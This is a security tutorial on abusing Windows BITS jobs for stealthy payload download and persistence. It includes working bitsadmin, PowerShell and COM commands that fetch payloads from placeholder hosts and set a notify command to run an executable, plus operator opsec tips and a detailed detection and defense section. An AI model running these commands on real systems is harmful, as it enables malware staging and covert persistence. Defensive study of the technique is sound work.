Abusing BITS Jobs for Download and Persistence

Abusing BITS Jobs for Download and Persistence - article cover image Malware & C2
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

The Background Intelligent Transfer Service (BITS) is the Windows component responsible for the quiet, resumable, bandwidth-aware file transfers that Windows Update, SCCM/ConfigMgr, and countless applications rely on. It runs inside a shared svchost.exe service host, throttles itself to avoid disrupting foreground traffic, resumes automatically after network drops or reboots, and exposes a rich COM interface plus two command-line front ends: the legacy bitsadmin.exe and the modern PowerShell BITS cmdlets. Everything that makes BITS a good citizen for software distribution — persistence across reboots, automatic retry, execution from a trusted system service — also makes it an excellent tool for an attacker who wants to stage payloads and maintain a foothold without touching the obvious autorun locations.

Two capabilities give BITS its offensive value. First, it is a stealthy downloader: an attacker can fetch a payload through the same trusted service that Windows Update uses, with the transfer proxied through svchost.exe rather than an unusual process reaching out to the internet. Second, and more interestingly, a BITS job can be configured with a notification command — a program the service runs on the attacker’s behalf when the job completes or errors. Combined with long lifetimes and automatic retry, that turns a transfer job into a self-repairing persistence mechanism that lives in the BITS job queue database, a location traditional autorun triage often overlooks.

Attack Prerequisites

BITS abuse is available to ordinary users and does not require exploitation; it requires only that the service be usable and reachable:

  • Code execution as a user — creating BITS jobs needs no elevation; jobs run in the security context of the user who created them, and SYSTEM-context jobs are possible when running as SYSTEM.
  • The BITS service available — the BITS service running (its default) and not disabled by policy.
  • Network egress for the download case — outbound HTTP/HTTPS or SMB to the attacker’s staging host, which blends with legitimate BITS traffic.
  • For the persistence case: the ability to set a notification command (SetNotifyCmdLine) and a long/retrying job lifetime so the trigger survives reboots and transient failures.

How It Works

A BITS transfer is modeled as a job containing one or more files. The client creates a job, adds source/destination URL pairs, then *resumes* it to enqueue the work; the service performs the transfer asynchronously and moves the job through states (QUEUED, TRANSFERRING, TRANSFERRED, and finally ACKNOWLEDGED/complete). Jobs have configurable priority, a retry/no-progress timeout that can be set to days, and — the key primitive for persistence — notification settings. A job can be told to run an arbitrary command line via its notify-command-line property when it reaches a terminal state, and BITS itself executes that program. Because the service host runs the command, the parent process is svchost.exe, not the attacker’s shell.

Persistence emerges from combining these features. An attacker creates a job that will *never legitimately complete on its own timeline* — for instance one pointed at a resource with a long no-progress timeout — and attaches a notification command that runs their payload whenever the job errors or completes. With a multi-day retry window, the job survives reboots (BITS persists its queue and resumes automatically) and re-triggers the command each cycle. Alternatively the payload itself can re-create the job on each execution, producing a self-renewing loop. Either way the trigger lives in the BITS job store, not in Run keys, services, or scheduled tasks.

The job queue is persisted on disk in the BITS state database under %ALLUSERSPROFILE%\Microsoft\Network\Downloader\ (a qmgr.db on current Windows; older releases used qmgr0.dat/qmgr1.dat). This is why BITS persistence is durable and why it hides well: the job definition, including its notify command, is not in a location most persistence hunts enumerate. Enumerating existing jobs — for defenders and attackers alike — is done through bitsadmin /list or the Get-BitsTransfer cmdlet, both of which can be scoped to all users.

Vulnerable Code / Configuration

There is no single vulnerable line here — the risk is a legitimate feature used for a malicious end. The download primitive is a one-liner with either front end. The bitsadmin transfer form is the classic living-off-the-land downloader:

:: bitsadmin one-shot download (LOLBin). Proxied via the BITS service host.
bitsadmin /transfer job1 /download /priority foreground ^
    http://staging.example/payload.dat %APPDATA%\payload.dat

:: Modern equivalent with the PowerShell cmdlet.
Start-BitsTransfer -Source http://staging.example/payload.dat ^
    -Destination $env:APPDATA\payload.dat
TEXT

The persistence primitive is the notify-command-line property. Building the job step by step and attaching a command that BITS will execute makes the mechanism explicit:

:: Create a job, add a file, set a long retry window, attach a notify command.
bitsadmin /create backdoor
bitsadmin /addfile backdoor http://staging.example/x.dat %TEMP%\x.dat
:: Keep retrying for days so the job (and its trigger) survive reboots.
bitsadmin /setminretrydelay backdoor 60
bitsadmin /setnoprogresstimeout backdoor 90000
:: The command BITS runs when the job reaches a terminal state:
bitsadmin /setnotifycmdline backdoor cmd.exe "/c C:\Users\Public\p.exe"
bitsadmin /resume backdoor
TEXT

The same is achievable through the BITS COM interface directly (IBackgroundCopyManager / IBackgroundCopyJob::SetNotifyCmdLine), which avoids spawning bitsadmin.exe at all and is how tooling implements the technique more quietly:

// Conceptual: the COM property behind /setnotifycmdline.
IBackgroundCopyManager* mgr;  IBackgroundCopyJob* job;  GUID id;
CoCreateInstance(CLSID_BackgroundCopyManager, ..., (void**)&mgr);
mgr->CreateJob(L"upd", BG_JOB_TYPE_DOWNLOAD, &id, &job);
job->AddFile(L"http://staging.example/x.dat", L"C:\\Temp\\x.dat");
// Program BITS runs on completion/error -> the persistence trigger:
job->SetNotifyCmdLine(L"C:\\Windows\\System32\\cmd.exe", L"/c C:\\Users\\Public\\p.exe");
job->Resume();
C++

Walkthrough / Exploitation

A full chain uses BITS for both stages: fetch the payload, then arm a self-triggering job for persistence. Stage one downloads through the trusted service so the network connection originates from svchost.exe:

:: Stage 1 — retrieve the payload via BITS.
bitsadmin /transfer fetch /download /priority high ^
    https://cdn.example/u.png C:\Users\Public\p.exe
TEXT

Stage two creates the persistent job whose notify command executes the payload. Setting a long no-progress timeout keeps the job alive across reboots; when the transfer eventually errors or completes, BITS runs the command:

:: Stage 2 — persistence via a long-lived job with a notify command.
bitsadmin /create sync
bitsadmin /addfile sync https://cdn.example/never C:\Users\Public\z.tmp
bitsadmin /setnoprogresstimeout sync 200000
bitsadmin /setnotifycmdline sync C:\Users\Public\p.exe ""
bitsadmin /resume sync
TEXT

Validation — and, for defenders, discovery — uses the enumeration commands. The verbose listing reveals the notify command line, exposing exactly the property that betrays a malicious job:

:: Enumerate all users' jobs and dump full detail incl. NOTIFICATION COMMAND LINE.
bitsadmin /list /allusers /verbose
:: PowerShell equivalent:
Get-BitsTransfer -AllUsers | Format-List DisplayName, JobState, `
    NotifyCmdLine, OwnerAccount
TEXT

Cleanup — bitsadmin /complete <job> or Remove-BitsTransfer — removes the job and its trigger, and mature operators tear the job down once alternate persistence is established. The whole chain uses only signed, in-box functionality, which is exactly why it is attractive.

Note: bitsadmin.exe is deprecated in favor of the PowerShell BITS cmdlets, but it remains present on current Windows and is still the most commonly seen form in the wild because of its simple syntax. BITS jobs also have a default maximum lifetime (historically around 90 days) after which they are cancelled, so very long-term persistence generally relies on the payload re-creating the job rather than a single immortal job.

Opsec: Downloads are quieter than the persistence variant: a transfer leaves a job that is auto-acknowledged and removed, whereas a job with a NotifyCmdLine sits in the queue where bitsadmin /list /allusers and Get-BitsTransfer -AllUsers will surface it. The BITS-Client operational log records job creation and transfer events, so an operator who assumes BITS is invisible is mistaken — it is *less* watched, not unwatched.

Detection and Defense

BITS activity is well instrumented if the right log is collected; the technique hides in plain sight only when defenders do not look at the job queue:

  • Enumerate jobs regularlybitsadmin /list /allusers /verbose and Get-BitsTransfer -AllUsers, alerting on any job with a populated NotifyCmdLine/notification command, an executable destination, or an unfamiliar remote URL.
  • Collect the BITS-Client operational logMicrosoft-Windows-Bits-Client/Operational records job creation and transfer lifecycle events (job created, transfer started/completed, and URL/target details); baseline normal update traffic and alert on anomalies.
  • Process-lineage detection — flag bitsadmin.exe command lines containing /transfer, /setnotifycmdline, or /addfile, and treat child processes spawned by the BITS service host (svchost.exe hosting BITS) launching user-writable executables as suspicious.
  • Command-line and script auditing — enable process command-line logging (Event ID 4688) and PowerShell script-block logging to capture Start-BitsTransfer/Set-BitsTransfer usage.
  • Network controls — restrict outbound access so BITS cannot reach arbitrary internet hosts; egress proxies and allow-listing update sources shrink the download surface.
  • Hunt the queue store — the job database under %ALLUSERSPROFILE%\Microsoft\Network\Downloader\ can be examined during IR to recover job definitions, including malicious notify commands.

Real-World Impact

BITS abuse is a documented, recurring technique catalogued by MITRE ATT&CK as T1197 (BITS Jobs), covering both ingress transfer and the notify-command persistence pattern. It has been used by multiple threat actors and commodity malware families precisely because it leverages a trusted, in-box Windows service: transfers blend with legitimate update traffic, execution is proxied through svchost.exe, and the persistence trigger lives in a job store outside the usual autorun locations. Its longevity in the wild reflects that these are features, not bugs — defenders cannot patch BITS away, they can only watch it. The technique is a standard entry in the living-off-the-land toolkit alongside certutil, mshta, and regsvr32, and it remains effective wherever the BITS-Client operational log is not being collected.

Conclusion

BITS is a legitimate, trusted transfer service whose resilience features — persistence across reboots, automatic retry, execution from a system service, and an on-completion notification command — double as a stealthy downloader and a durable persistence mechanism. The attacker needs no elevation and no exploit, only the built-in bitsadmin/PowerShell interface or the underlying COM API. Defenders regain the advantage cheaply: collect the BITS-Client operational log, periodically enumerate all users’ jobs and alert on notify commands and executable transfers, watch the BITS service host’s child processes, and constrain egress. Treated as a monitored feature rather than an invisible one, BITS loses most of its stealth.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL